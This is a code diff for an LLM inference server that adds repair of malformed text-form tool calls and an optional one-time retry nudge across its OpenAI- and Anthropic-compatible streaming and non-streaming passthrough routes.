-                body = _TC_FUNC_CLOSE_RE.sub("", body)
-
-            arguments: dict = {}
-            param_starts = list(_TC_PARAM_START_RE.finditer(body))
-            if len(param_starts) == 1:
-                pm = param_starts[0]
-                val = body[pm.end() :]
-                if not allow_incomplete:
-                    stripped_val = val.rstrip()
-                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                        continue
-                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                else:
-                    val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[pm.group(1)] = val.strip()
-            else:
-                valid_params = True
-                for pidx, pm in enumerate(param_starts):
-                    param_name = pm.group(1)
-                    val_start = pm.end()
-                    next_param = (
-                        param_starts[pidx + 1].start()
-                        if pidx + 1 < len(param_starts)
-                        else len(body)
-                    )
-                    val = body[val_start:next_param]
-                    if not allow_incomplete:
-                        stripped_val = val.rstrip()
-                        if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                            valid_params = False
-                            break
-                        val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                    else:
-                        val = _TC_PARAM_CLOSE_RE.sub("", val)
-                    arguments[param_name] = val.strip()
-                if not valid_params:
-                    continue
-
-            tc = {
-                "id": f"call_{id_offset + len(tool_calls)}",
-                "type": "function",
-                "function": {
-                    "name": func_name,
-                    "arguments": json.dumps(arguments),
-                },
-            }
-            tool_calls.append(tc)
+        call_spans.append((start, span_end))
+    if with_spans:
+        return tool_calls, call_spans
     return tool_calls
 
 
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 4a3162b09e..31c100dbec 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -780,6 +780,16 @@ class ChatCompletionRequest(BaseModel):
         True,
         description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
     )
+    nudge_tool_calls: Optional[bool] = Field(
+        None,
+        description = (
+            "[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the "
+            "model emitted a tool signal that healing could not repair, retry ONCE with "
+            "a short nudge appended (the retry shares the full prompt prefix, so the "
+            "server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips "
+            "the process default."
+        ),
+    )
     context_overflow: Optional[Literal["error", "truncate_middle"]] = Field(
         None,
         description = (
@@ -1612,6 +1622,14 @@ class AnthropicMessagesRequest(BaseModel):
         False,
         description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
     )
+    auto_heal_tool_calls: Optional[bool] = Field(
+        True,
+        description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
+    )
+    nudge_tool_calls: Optional[bool] = Field(
+        None,
+        description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).",
+    )
     model_config = {"extra": "allow"}
 
     @model_validator(mode = "before")
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index a948a6eaf5..ccf36e8f71 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1135,6 +1135,16 @@ from core.inference.key_exchange import decrypt_api_key
 from core.inference.model_ids import public_model_id
 from core.inference.api_monitor import api_monitor
 from core.inference.llama_http import nonstreaming_client
+from core.inference.passthrough_healing import (
+    StreamToolCallHealer,
+    heal_gate,
+    heal_openai_message,
+    heal_openai_message_events,
+    nudge_enabled,
+    nudge_messages,
+    nudge_should_retry,
+    response_has_promotable_calls,
+)
 from core.inference.providers import get_base_url
 from core.inference.external_provider import ExternalProviderClient
 from core.inference.chat_templates import resolve_effective_chat_template_override
@@ -8065,6 +8075,13 @@ def _build_chat_request(
         if isinstance(_tpl_kw, dict) and "enable_thinking" in _tpl_kw:
             chat_kwargs["enable_thinking"] = bool(_tpl_kw["enable_thinking"])
             explicit_enable_thinking = True
+        # auto_heal_tool_calls / nudge_tool_calls are not typed on
+        # ResponsesRequest; lift them from the extra-body so passthrough
+        # healing (and the opt-in nudge) honor them on both paths.
+        if isinstance(_extra.get("auto_heal_tool_calls"), bool):
+            chat_kwargs["auto_heal_tool_calls"] = _extra["auto_heal_tool_calls"]
+        if isinstance(_extra.get("nudge_tool_calls"), bool):
+            chat_kwargs["nudge_tool_calls"] = _extra["nudge_tool_calls"]
 
     if isinstance(payload.reasoning, dict):
         effort = payload.reasoning.get("effort")
@@ -8299,16 +8316,112 @@ async def _responses_stream(
             parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend)
         )
         reasoning_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False}
-        message_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False}
+        message_state: dict[str, Any] = {
+            "output_index": None,
+            "item_id": None,
+            "opened": False,
+            "text": "",
+        }
+        # Message items already closed mid-stream (a healed tool call splits
+        # the assistant text into separate message items, as native Responses
+        # streams do). Kept for the final response.completed snapshot.
+        closed_message_states: list[dict] = []
         # Per-tool-call state keyed by Chat Completions `tool_calls[].index`,
         # stable across chunks for the same call. Values:
         #   {output_index, item_id, call_id, name, arguments, opened}
         tool_call_state: dict[int, dict] = {}
         next_output_index = 0
+        # Text-form tool calls promoted back to structured calls (declared
+        # client tools only); dormant once grammar-mode structured deltas appear.
+        _allowed_tools = heal_gate(
+            getattr(chat_req, "auto_heal_tool_calls", None),
+            body.get("tools"),
+            body.get("tool_choice"),
+        )
+        healer = StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None
+        healed_tc_index = 0
+
+        def _healed_tc(call: dict):
+            # Chat-delta shape for a healed call. Indexes live in a disjoint
+            # range so a healed call can never merge into a structured call's
+            # state slot; parallel_tool_calls=false caps healed calls too (the
+            # upstream cap ran before injection).
+            nonlocal healed_tc_index
+            if payload.parallel_tool_calls is False and healed_tc_index >= 1:
+                return None
+            tc = {
+                "index": 1_000_000 + healed_tc_index,
+                "id": call["id"],
+                "type": "function",
+                "function": call["function"],
+            }
+            healed_tc_index += 1
+            return tc
 
         def _sse(event_name: str, payload: dict) -> str:
             return f"event: {event_name}\ndata: {json.dumps(payload)}\n\n"
 
+        def _tool_call_delta_events(tc: dict) -> list:
+            # One Chat Completions tool_calls delta -> Responses SSE events,
+            # allocating/merging per-call state (shared by the structured loop
+            # and the healer's promoted calls).
+            events = []
+            idx = tc.get("index", 0)
+            st = tool_call_state.get(idx)
+            fn = tc.get("function") or {}
+            if st is None:
+                # First chunk for this tool call -- allocate an
+                # output_index and emit output_item.added.
+                st = {
+                    "output_index": _claim_output_index(),
+                    "item_id": f"fc_{uuid.uuid4().hex[:12]}",
+                    "call_id": tc.get("id") or "",
+                    "name": fn.get("name") or "",
+                    "arguments": "",
+                    "opened": False,
+                }
+                tool_call_state[idx] = st
+            else:
+                # Later chunks sometimes carry id/name only once; merge
+                # when present.
+                if tc.get("id") and not st["call_id"]:
+                    st["call_id"] = tc["id"]
+                if fn.get("name") and not st["name"]:
+                    st["name"] = fn["name"]
+
+            if not st["opened"] and st["call_id"] and st["name"]:
+                item_added = {
+                    "type": "response.output_item.added",
+                    "output_index": st["output_index"],
+                    "item": {
+                        "type": "function_call",
+                        "id": st["item_id"],
+                        "status": "in_progress",
+                        "call_id": st["call_id"],
+                        "name": st["name"],
+                        "arguments": "",
+                    },
+                }
+                events.append(_sse("response.output_item.added", item_added))
+                st["opened"] = True
+
+            arg_delta = fn.get("arguments") or ""
+            if arg_delta and st["opened"]:
+                st["arguments"] += arg_delta
+                args_delta_event = {
+                    "type": "response.function_call_arguments.delta",
+                    "item_id": st["item_id"],
+                    "output_index": st["output_index"],
+                    "delta": arg_delta,
+                }
+                events.append(_sse("response.function_call_arguments.delta", args_delta_event))
+            elif arg_delta:
+                # Buffer args until we can open the item (some models
+                # send id/name in the same chunk as the first arg delta;
+                # if not, stash).
+                st["arguments"] += arg_delta
+            return events
+
         def _claim_output_index() -> int:
             nonlocal next_output_index
             output_index = next_output_index
@@ -8393,6 +8506,98 @@ async def _responses_stream(
                 ),
             ]
 
+        def _close_message_item() -> list[str]:
+            """Close the open message item so later text opens a fresh one.
+
+            Emits the same done-event triplet the end-of-stream close loop
+            would, records the item for the final snapshot, and resets the
+            state in place. No-op when no message item is open.
+            """
+            if not message_state["opened"]:
+                return []
+            text = message_state["text"]
+            events = [
+                _sse(
+                    "response.output_text.done",
+                    {
+                        "type": "response.output_text.done",
+                        "item_id": message_state["item_id"],
+                        "output_index": message_state["output_index"],
+                        "content_index": 0,
+                        "text": text,
+                    },
+                ),
+                _sse(
+                    "response.content_part.done",
+                    {
+                        "type": "response.content_part.done",
+                        "item_id": message_state["item_id"],
+                        "output_index": message_state["output_index"],
+                        "content_index": 0,
+                        "part": {"type": "output_text", "text": text, "annotations": []},
+                    },
+                ),
+                _sse(
+                    "response.output_item.done",
+                    {
+                        "type": "response.output_item.done",
+                        "output_index": message_state["output_index"],
+                        "item": {
+                            "type": "message",
+                            "id": message_state["item_id"],
+                            "status": "completed",
+                            "role": "assistant",
+                            "content": [{"type": "output_text", "text": text, "annotations": []}],
+                        },
+                    },
+                ),
+            ]
+            closed_message_states.append(dict(message_state))
+            message_state.update(
+                {"output_index": None, "item_id": None, "opened": False, "text": ""}
+            )
+            return events
+
+        def _healed_event_sse(events) -> list[str]:
+            """Serialize healer events preserving their order.
+
+            Text around a healed call must keep its position relative to the
+            function_call item (output indexes are claimed in emission order),
+            so never split an event list into all-text-then-all-calls. A healed
+            call also CLOSES any open message item, so trailing text opens a
+            fresh message with a later output index, exactly like a native
+            Responses stream that interleaves messages and calls.
+            """
+            nonlocal full_text
+            out: list[str] = []
+            for kind, value in events:
+                if kind == "text":
+                    if not value:
+                        continue
+                    out.extend(_ensure_message_open())
+                    full_text += value
+                    message_state["text"] += value
+                    api_monitor.append_reply(monitor_id, value)
+                    out.append(
+                        _sse(
+                            "response.output_text.delta",
+                            {
+                                "type": "response.output_text.delta",
+                                "item_id": message_state["item_id"],
+                                "output_index": message_state["output_index"],
+                                "content_index": 0,
+                                "delta": value,
+                            },
+                        )
+                    )
+                else:
+                    tc = _healed_tc(value)
+                    if tc is None:
+                        continue
+                    out.extend(_close_message_item())
+                    out.extend(_tool_call_delta_events(tc))
+            return out
+
         def _snapshot_output() -> list[dict]:
             """Snapshot of all completed output items for response.completed."""
             indexed_items: list[tuple[int, dict]] = []
@@ -8409,19 +8614,23 @@ async def _responses_stream(
                         },
                     )
                 )
-            if message_state["opened"]:
+            # Closed copies keep opened=True (snapshotted before reset); the
+            # live state contributes only when a message is currently open.
+            for msg_st in [*closed_message_states, message_state]:
+                if not msg_st["opened"]:
+                    continue
                 indexed_items.append(
                     (
-                        message_state["output_index"],
+                        msg_st["output_index"],
                         {
                             "type": "message",
-                            "id": message_state["item_id"],
+                            "id": msg_st["item_id"],
                             "status": "completed",
                             "role": "assistant",
                             "content": [
                                 {
                                     "type": "output_text",
-                                    "text": full_text,
+                                    "text": msg_st["text"],
                                     "annotations": [],
                                 }
                             ],
@@ -8605,10 +8814,30 @@ async def _responses_stream(
                             "delta": reasoning_delta,
                         },
                     )
+                # Heal text-form tool calls in the visible stream (never in
+                # reasoning text): promoted calls join the structured tc loop
+                # below through the same state machinery, and healer events are
+                # emitted IN ORDER so text after a healed call never jumps ahead
+                # of the function_call item. Once a structured delta arrives,
+                # grammar mode worked and the healer goes dormant.
+                if healer is not None and not healer.dormant:
+                    healed_events = []
+                    if delta.get("tool_calls"):
+                        # Held text preceded the structured call; the call's own
+                        # deltas follow in the structured loop below.
+                        healed_events = healer.structured_tool_call_seen()
+                        if visible_delta:
+                            healed_events.append(("text", visible_delta))
+                    elif visible_delta:
+                        healed_events = healer.feed(visible_delta)
+                    visible_delta = ""
+                    for event in _healed_event_sse(healed_events):
+                        yield event
                 if visible_delta:
                     for event in _ensure_message_open():
                         yield event
                     full_text += visible_delta
+                    message_state["text"] += visible_delta
                     api_monitor.append_reply(monitor_id, visible_delta)
                     yield _sse(
                         "response.output_text.delta",
@@ -8622,60 +8851,19 @@ async def _responses_stream(
                     )
 
                 for tc in delta.get("tool_calls") or []:
-                    idx = tc.get("index", 0)
-                    st = tool_call_state.get(idx)
-                    fn = tc.get("function") or {}
-                    if st is None:
-                        # First chunk for this tool call -- allocate an
-                        # output_index and emit output_item.added.
-                        st = {
-                            "output_index": _claim_output_index(),
-                            "item_id": f"fc_{uuid.uuid4().hex[:12]}",
-                            "call_id": tc.get("id") or "",
-                            "name": fn.get("name") or "",
-                            "arguments": "",
-                            "opened": False,
-                        }
-                        tool_call_state[idx] = st
-                    else:
-                        # Later chunks sometimes carry id/name only once; merge
-                        # when present.
-                        if tc.get("id") and not st["call_id"]:
-                            st["call_id"] = tc["id"]
-                        if fn.get("name") and not st["name"]:
-                            st["name"] = fn["name"]
-
-                    if not st["opened"] and st["call_id"] and st["name"]:
-                        item_added = {
-                            "type": "response.output_item.added",
-                            "output_index": st["output_index"],
-                            "item": {
-                                "type": "function_call",
-                                "id": st["item_id"],
-                                "status": "in_progress",
-                                "call_id": st["call_id"],
-                                "name": st["name"],
-                                "arguments": "",
-                            },
-                        }
-                        yield _sse("response.output_item.added", item_added)
-                        st["opened"] = True
-
-                    arg_delta = fn.get("arguments") or ""
-                    if arg_delta and st["opened"]:
-                        st["arguments"] += arg_delta
-                        args_delta_event = {
-                            "type": "response.function_call_arguments.delta",
-                            "item_id": st["item_id"],
-                            "output_index": st["output_index"],
-                            "delta": arg_delta,
-                        }
-                        yield _sse("response.function_call_arguments.delta", args_delta_event)
-                    elif arg_delta:
-                        # Buffer args until we can open the item (some models
-                        # send id/name in the same chunk as the first arg delta;
-                        # if not, stash).
-                        st["arguments"] += arg_delta
+                    if (
+                        payload.parallel_tool_calls is False
+                        and healed_tc_index >= 1
+                        and tc.get("index", 0) not in tool_call_state
+                    ):
+                        # A healed call already consumed the single allowed slot;
+                        # _drop_parallel_tool_call_deltas only sees native indexes,
+                        # so a native index-0 call would still open a second
+                        # function_call item. Skip it (and its later argument
+                        # deltas, which never allocate a state either).
+                        continue
+                    for event in _tool_call_delta_events(tc):
+                        yield event
 
                 _apply_usage(chunk_data.get("usage"))
         except asyncio.CancelledError:
@@ -8731,10 +8919,19 @@ async def _responses_stream(
                     "delta": final_reasoning,
                 },
             )
+        # Last-chance heal of any held residue (e.g. a tool block the model
+        # never closed) before the trailing visible text is flushed; events
+        # keep healer order so trailing text stays behind a healed call.
+        if healer is not None:
+            events = (healer.feed(final_visible) if final_visible else []) + healer.finalize()
+            final_visible = ""
+            for event in _healed_event_sse(events):
+                yield event
         if final_visible:
             for event in _ensure_message_open():
                 yield event
             full_text += final_visible
+            message_state["text"] += final_visible
             api_monitor.append_reply(monitor_id, final_visible)
             yield _sse(
                 "response.output_text.delta",
@@ -8793,6 +8990,10 @@ async def _responses_stream(
                 continue
 
             if kind == "message":
+                # Per-item text: message items closed mid-stream (healed-call
+                # rotation) already emitted their done events, so this state
+                # carries only its own text, not the whole stream's.
+                _msg_text = st["text"]
                 yield _sse(
                     "response.output_text.done",
                     {
@@ -8800,7 +9001,7 @@ async def _responses_stream(
                         "item_id": st["item_id"],
                         "output_index": st["output_index"],
                         "content_index": 0,
-                        "text": full_text,
+                        "text": _msg_text,
                     },
                 )
                 yield _sse(
@@ -8810,7 +9011,7 @@ async def _responses_stream(
                         "item_id": st["item_id"],
                         "output_index": st["output_index"],
                         "content_index": 0,
-                        "part": {"type": "output_text", "text": full_text, "annotations": []},
+                        "part": {"type": "output_text", "text": _msg_text, "annotations": []},
                     },
                 )
                 yield _sse(
@@ -8824,7 +9025,7 @@ async def _responses_stream(
                             "status": "completed",
                             "role": "assistant",
                             "content": [
-                                {"type": "output_text", "text": full_text, "annotations": []}
+                                {"type": "output_text", "text": _msg_text, "annotations": []}
                             ],
                         },
                     },
@@ -9430,6 +9631,7 @@ async def anthropic_messages(
                     session_id = payload.session_id,
                     cancel_id = payload.cancel_id,
                     disable_parallel_tool_use = _disable_parallel,
+                    auto_heal_tool_calls = payload.auto_heal_tool_calls,
                 )
             )
         return await _monitored_anthropic(
@@ -9449,6 +9651,8 @@ async def anthropic_messages(
                 presence_penalty = presence_penalty,
                 tool_choice = openai_tool_choice,
                 disable_parallel_tool_use = _disable_parallel,
+                auto_heal_tool_calls = payload.auto_heal_tool_calls,
+                nudge_tool_calls = payload.nudge_tool_calls,
             )
         )
 
@@ -10019,6 +10223,7 @@ async def _anthropic_passthrough_stream(
     session_id = None,
     cancel_id = None,
     disable_parallel_tool_use = False,
+    auto_heal_tool_calls = None,
 ):
     """Streaming client-side pass-through: forward tools to llama-server and
     translate its stream to Anthropic SSE without executing anything."""
@@ -10055,6 +10260,16 @@ async def _anthropic_passthrough_stream(
 
     async def _stream():
         emitter = AnthropicPassthroughEmitter()
+        # Promote text-form tool calls (declared client tools only) into
+        # tool_use blocks; verbatim behavior when healing is off or no tools.
+        # tool_choice arrives here already converted to the OpenAI shape.
+        _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice)
+        if _allowed_tools:
+            emitter.enable_healing(
+                _allowed_tools,
+                openai_tools,
+                disable_parallel_tool_use = disable_parallel_tool_use,
+            )
         for line in emitter.start(message_id, model_name, input_tokens = input_tokens):
             yield line
 
@@ -10191,6 +10406,8 @@ async def _anthropic_passthrough_non_streaming(
     presence_penalty = None,
     tool_choice = "auto",
     disable_parallel_tool_use = False,
+    auto_heal_tool_calls = None,
+    nudge_tool_calls = None,
 ):
     """Non-streaming client-side pass-through."""
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
@@ -10223,34 +10440,98 @@ async def _anthropic_passthrough_non_streaming(
         )
 
     data = resp.json()
+    # tool_choice arrives here already converted to the OpenAI shape.
+    _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice)
+
+    # Opt-in single-retry nudge (mirrors the OpenAI passthrough): the model
+    # tried to call a tool but nothing usable came out; re-ask once with the
+    # prompt prefix intact so llama-server's KV cache is reused.
+    if (
+        _allowed_tools
+        and nudge_enabled(nudge_tool_calls)
+        and nudge_should_retry(data, _allowed_tools, openai_tools)
+    ):
+        retry_body = {
+            **body,
+            "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
+        }
+        try:
+            retry_resp = await nonstreaming_client().post(
+                target_url,
+                json = retry_body,
+                timeout = _llama_non_streaming_generation_timeout(),
+            )
+            if retry_resp.status_code == 200:
+                retry_data = retry_resp.json()
+                if response_has_promotable_calls(retry_data, _allowed_tools, openai_tools):
+                    data = retry_data
+        except (httpx.RequestError, ValueError) as exc:
+            logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
+
     choice = (data.get("choices") or [{}])[0]
     message = choice.get("message") or {}
     finish_reason = choice.get("finish_reason")
 
-    content_blocks = []
-    text = message.get("content") or ""
-    if text:
-        text = _TOOL_XML_RE.sub("", text).strip()
-        if text:
-            content_blocks.append(AnthropicResponseTextBlock(text = text))
+    healing_active = bool(_allowed_tools)
+    healed_events = (
+        heal_openai_message_events(message, _allowed_tools, openai_tools)
+        if healing_active
+        else None
+    )
 
-    tool_calls = message.get("tool_calls") or []
-    # disable_parallel_tool_use: keep only the first tool_use block.
-    if disable_parallel_tool_use and len(tool_calls) > 1:
-        tool_calls = tool_calls[:1]
-    for tc in tool_calls:
-        fn = tc.get("function") or {}
-        try:
-            args = json.loads(fn.get("arguments", "{}"))
-        except json.JSONDecodeError:
-            args = {}
-        content_blocks.append(
-            AnthropicResponseToolUseBlock(
-                id = anthropic_tool_use_id(tc.get("id")),
-                name = fn.get("name", ""),
-                input = args,
+    content_blocks = []
+    tool_calls = []
+    if healed_events:
+        emitted_tool_uses = 0
+        for kind, value in healed_events:
+            if kind == "text":
+                text = str(value).strip()
+                if text:
+                    content_blocks.append(AnthropicResponseTextBlock(text = text))
+                continue
+            if disable_parallel_tool_use and emitted_tool_uses >= 1:
+                continue
+            fn = value.get("function") or {}
+            try:
+                args = json.loads(fn.get("arguments", "{}"))
+            except json.JSONDecodeError:
+                args = {}
+            tool_calls.append(value)
+            emitted_tool_uses += 1
+            content_blocks.append(
+                AnthropicResponseToolUseBlock(
+                    id = anthropic_tool_use_id(value.get("id")),
+                    name = fn.get("name", ""),
+                    input = args,
+                )
+            )
+    else:
+        text = message.get("content") or ""
+        if text:
+            # Keep unpromoted bytes when healing is active; legacy stripping is
+            # only for opted-out or no-client-tool requests.
+            if not healing_active:
+                text = _TOOL_XML_RE.sub("", text)
+            text = text.strip()
+            if text:
+                content_blocks.append(AnthropicResponseTextBlock(text = text))
+
+        tool_calls = message.get("tool_calls") or []
+        if disable_parallel_tool_use and len(tool_calls) > 1:
+            tool_calls = tool_calls[:1]
+        for tc in tool_calls:
+            fn = tc.get("function") or {}
+            try:
+                args = json.loads(fn.get("arguments", "{}"))
+            except json.JSONDecodeError:
+                args = {}
+            content_blocks.append(
+                AnthropicResponseToolUseBlock(
+                    id = anthropic_tool_use_id(tc.get("id")),
+                    name = fn.get("name", ""),
+                    input = args,
+                )
             )
-        )
 
     stop_reason = openai_finish_to_anthropic_stop(finish_reason, had_tool_calls = bool(tool_calls))
 
@@ -10598,6 +10879,13 @@ async def _openai_passthrough_stream(
     body = _build_openai_passthrough_body(
         payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
     )
+    # Text-form tool calls from small models get promoted to structured calls on
+    # the way back (declared client tools only); requests without tools or with
+    # auto_heal_tool_calls=false keep the verbatim relay. tool_choice constrains
+    # the allowlist ("none" disables, a forced function narrows to it).
+    _allowed_tools = heal_gate(
+        payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+    )
 
     _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
     _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
@@ -10700,9 +10988,14 @@ async def _openai_passthrough_stream(
             last_chunk_id = completion_id
             last_chunk_model = model_name
             last_chunk_created = int(time.time())
+            healer = (
+                StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None
+            )
+            healed_call_index = 0
 
             def _synthetic_finish_line() -> str:
-                finish_reason = "tool_calls" if saw_tool_call_delta else "stop"
+                healed = healer is not None and healer.healed
+                finish_reason = "tool_calls" if (saw_tool_call_delta or healed) else "stop"
                 chunk = ChatCompletionChunk(
                     id = last_chunk_id,
                     created = last_chunk_created,
@@ -10716,6 +11009,108 @@ async def _openai_passthrough_stream(
                 )
                 return f"data: {chunk.model_dump_json(exclude_none = True)}"
 
+            def _healer_sse_lines(events) -> list:
+                # Serialize healer events as chunks matching the upstream stream's
+                # id/model/created so clients see one coherent completion.
+                nonlocal healed_call_index
+                lines = []
+                for kind, value in events:
+                    if kind == "text":
+                        if not value:
+                            continue
+                        delta = {"content": value}
+                    else:
+                        # parallel_tool_calls=false caps healed calls too (the SSE
+                        # line cap only sees structured upstream deltas).
+                        if payload.parallel_tool_calls is False and healed_call_index >= 1:
+                            continue
+                        delta = {
+                            "tool_calls": [
+                                {
+                                    "index": healed_call_index,
+                                    "id": value["id"],
+                                    "type": "function",
+                                    "function": value["function"],
+                                }
+                            ]
+                        }
+                        healed_call_index += 1
+                    chunk = {
+                        "id": last_chunk_id,
+                        "object": "chat.completion.chunk",
+                        "created": last_chunk_created,
+                        "model": last_chunk_model,
+                        "choices": [{"index": 0, "delta": delta, "finish_reason": None}],
+                    }
+                    lines.append("data: " + json.dumps(chunk, ensure_ascii = False))
+                return lines
+
+            def _heal_transform(chunk_data: dict, raw_line: str) -> list:
+                """SSE lines to emit in place of one upstream line (healing on)."""
+                choices = chunk_data.get("choices")
+                if not (isinstance(choices, list) and choices and isinstance(choices[0], dict)):
+                    return [raw_line]
+                choice = choices[0]
+                delta = choice.get("delta")
+                delta = delta if isinstance(delta, dict) else {}
+                if delta.get("tool_calls"):
+                    # Structured call streamed: grammar mode worked. Flush any held
+                    # text (it preceded the call) and relay verbatim from here on.
+                    lines = _healer_sse_lines(healer.structured_tool_call_seen())
+                    if healed_call_index:
+                        if payload.parallel_tool_calls is False:
+                            # A healed call already consumed the single allowed
+                            # slot; the upstream SSE cap keeps native index 0, so
+                            # drop the native call here or the client gets two.
+                            del delta["tool_calls"]
+                            if delta or choice.get("finish_reason") or chunk_data.get("usage"):
+                                lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False))
+                            return lines
+                        # A healed call already went out on index 0..n-1; OpenAI
+                        # clients merge tool-call deltas by index, so shift the
+                        # native calls into the next indexes or they would merge
+                        # into the healed call.
+                        for tc in delta["tool_calls"]:
+                            if isinstance(tc, dict) and isinstance(tc.get("index"), int):
+                                tc["index"] += healed_call_index
+                        return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)]
+                    return lines + [raw_line]
+                content = delta.get("content")
+                finish = choice.get("finish_reason")
+                if not isinstance(content, str) or not content:
+                    if not finish:
+                        return [raw_line]
+                    # Finish chunk: last-chance heal of the residue, and rewrite a
+                    # "stop" into "tool_calls" when text-form calls were promoted.
+                    lines = _healer_sse_lines(healer.finalize())
+                    if healer.healed and finish == "stop":
+                        choice["finish_reason"] = "tool_calls"
+                        return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)]
+                    return lines + [raw_line]
+                events = healer.feed(content)
+                if finish:
+                    events += healer.finalize()
+                if not finish and events == [("text", content)]:
+                    # Nothing held or promoted: the healer passed the chunk
+                    # through whole, so keep the verbatim upstream bytes.
+                    return [raw_line]
+                del delta["content"]
+                prefix_lines = []
+                if delta:
+                    prefix_chunk = {k: v for k, v in chunk_data.items() if k != "usage"}
+                    prefix_choice = dict(choice)
+                    prefix_choice["delta"] = dict(delta)
+                    prefix_choice["finish_reason"] = None
+                    prefix_chunk["choices"] = [prefix_choice]
+                    prefix_lines.append("data: " + json.dumps(prefix_chunk, ensure_ascii = False))
+                    delta.clear()
+                lines = prefix_lines + _healer_sse_lines(events)
+                if delta or finish or chunk_data.get("usage"):
+                    if healer.healed and finish == "stop":
+                        choice["finish_reason"] = "tool_calls"
+                    lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False))
+                return lines
+
             try:
                 lines_iter = resp.aiter_lines()
                 async for raw_line in _aiter_llama_stream_items(
@@ -10732,6 +11127,14 @@ async def _openai_passthrough_stream(
                     data_text = raw_line[6:].strip()
                     if data_text == "[DONE]":
                         saw_done = True
+                        # Upstream ended without a finish chunk: heal the residue
+                        # first so the synthetic finish sees healer.healed.
+                        if healer is not None and not saw_stream_error:
+                            for held_line in _healer_sse_lines(healer.finalize()):
+                                _monitor_openai_sse_line(
+                                    monitor_id, held_line, llama_backend.context_length
+                                )
+                                yield held_line + "\n\n"
                         if (
                             not saw_finish_reason
                             and not saw_stream_error
@@ -10787,13 +11190,18 @@ async def _openai_passthrough_stream(
                         # emit a successful finish_reason after a failed stream.
                         if _monitor_openai_error_message(chunk_data):
                             saw_stream_error = True
-                    monitor_event = _monitor_openai_sse_line(
-                        monitor_id,
-                        raw_line,
-                        llama_backend.context_length,
-                    )
-                    if monitor_event == "error":
-                        saw_stream_error = True
+                    # With healing active, a content-bearing line may be replaced by
+                    # held/promoted chunks; otherwise the single upstream line
+                    # relays verbatim (monitored exactly as emitted either way).
+                    if (
+                        healer is not None
+                        and not healer.dormant
+                        and isinstance(chunk_data, dict)
+                        and not saw_stream_error
+                    ):
+                        out_lines = _heal_transform(chunk_data, raw_line)
+                    else:
+                        out_lines = [raw_line]
                     # If a trailing usage-only chunk (include_usage) arrives before
                     # any finish chunk, emit the synthetic finish first so the order
                     # stays finish -> usage -> [DONE], matching the other streams.
@@ -10807,23 +11215,46 @@ async def _openai_passthrough_stream(
                         and not saw_stream_error
                         and not cancel_event.is_set()
                     ):
+                        if healer is not None:
+                            # Residue must precede the finish it may upgrade.
+                            held = _healer_sse_lines(healer.finalize())
+                            for held_line in held:
+                                _monitor_openai_sse_line(
+                                    monitor_id, held_line, llama_backend.context_length
+                                )
+                                yield held_line + "\n\n"
                         finish_line = _synthetic_finish_line()
                         _monitor_openai_sse_line(
                             monitor_id, finish_line, llama_backend.context_length
                         )
                         yield finish_line + "\n\n"
                         saw_finish_reason = True
-                    # Relay verbatim to preserve llama-server's native id,
-                    # finish_reason, delta.tool_calls, and usage chunks.
-                    yield raw_line + "\n\n"
-                    if monitor_event == "done":
-                        monitor_done = True
+                    for out_line in out_lines:
+                        monitor_event = _monitor_openai_sse_line(
+                            monitor_id,
+                            out_line,
+                            llama_backend.context_length,
+                        )
+                        if monitor_event == "error":
+                            saw_stream_error = True
+                        # Relay to preserve llama-server's native id,
+                        # finish_reason, delta.tool_calls, and usage chunks.
+                        yield out_line + "\n\n"
+                        if monitor_event == "done":
+                            monitor_done = True
+                    if monitor_done:
                         break
                 if not saw_done and not saw_stream_error and not cancel_event.is_set():
                     # Synthesize a finish chunk only if one was not already
                     # emitted (e.g. before a trailing usage-only chunk), but
                     # always close with [DONE] whenever the upstream omitted it,
                     # so the stream ends on the [DONE] sentinel either way.
+                    if healer is not None:
+                        for held_line in _healer_sse_lines(healer.finalize()):
+                            _monitor_openai_sse_line(
+                                monitor_id, held_line, llama_backend.context_length
+                            )
+                            yield held_line + "\n\n"
                     if not saw_finish_reason:
                         finish_line = _synthetic_finish_line()
                         _monitor_openai_sse_line(
@@ -10962,6 +11393,9 @@ async def _openai_passthrough_non_streaming(
     _guided_fence = bool((payload.model_extra or {}).get("_unsloth_guided_fence"))
     _do_fence = _guided_fence and _extract_response_format(payload) is not None
     _cap_parallel = payload.parallel_tool_calls is False
+    _allowed_tools = heal_gate(
+        payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+    )
 
     try:
         data = resp.json()
